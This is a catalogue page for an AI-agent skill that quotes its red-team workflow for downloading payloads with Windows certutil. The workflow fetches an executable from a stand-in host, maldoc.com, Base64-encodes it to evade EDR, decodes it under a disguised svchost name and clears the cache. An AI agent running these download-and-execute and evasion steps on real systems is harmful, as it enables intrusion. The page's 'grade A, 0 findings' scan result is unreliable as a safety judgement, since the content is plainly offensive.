Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/certutil-download-executionWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/certutil-download-execution)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/certutil-download-execution"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/certutil-download-execution/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/certutil-download-execution"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/certutil-download-execution.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00061 | $0.01075 |
| Opus 5 | $0.00030 | $0.00537 |
| Sonnet 5 | $0.00012 | $0.00215 |
| Haiku 4.5 | $0.00006 | $0.00108 |
Grade A, and why
certutil-download-execution scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to certutil-download-execution — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 121 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Payload Download and Decoding via Certutil
When to Use
- During a Red Team engagement or post-exploitation when you have command execution and need to transfer a payload onto the target system.
- When standard tools like
Invoke-WebRequestorbitsadminare blocked or highly monitored by EDR solutions. - To evade network signatures by downloading an innocuous Base64 encoded file and decoding it locally using native Windows tools.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Basic Ingress Tool Transfer
# Concept: Use certutil.exe to fetch a file via HTTP nimbly # -urlcache: caches the URL. -split: splits the embedded ASN.1 elements and saves to file. -f: forces overwrite.
certutil.exe -urlcache -split -f "http://maldoc.com/payload.exe" C:\Windows\Temp\updater.exe
Phase 2: Defense Evasion through Base64
# base64 raw_payload.exe > payload.b64
Phase 3: Downloading and Decoding on Target
# certutil.exe -urlcache -split -f "http://maldoc.com/payload.b64" C:\Windows\Temp\payload.b64
# certutil.exe -decode C:\Windows\Temp\payload.b64 C:\Windows\Temp\svchost_update.exe
Phase 4: Cleaning Up
# certutil.exe -urlcache -split -f "http://maldoc.com/payload.exe" delete
Decision Point 🔀
flowchart TD
A[Attempt Download ] --> B{Blocked by AV/EDR? ]}
B -->|Yes| C[Use Base64 Encoding ]
B -->|No| D[Execute Payload ]
C --> E[Decode & Execute ]
🔵 Blue Team Detection & Defense
- Monitor certutil.exe Execution: Inspect Command Line Arguments: EDR Pattern Matching: Key Concepts | Concept | Description | |---------|-------------|
Output Format
Certutil Download Execution — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 121 lines · 61 tokens per session scan A 8f7dae05864e
certutil-download-execution is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 61 tokens to every session and 1,075 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to certutil-download-execution, differing in 0 lines, and is treated as a copy.
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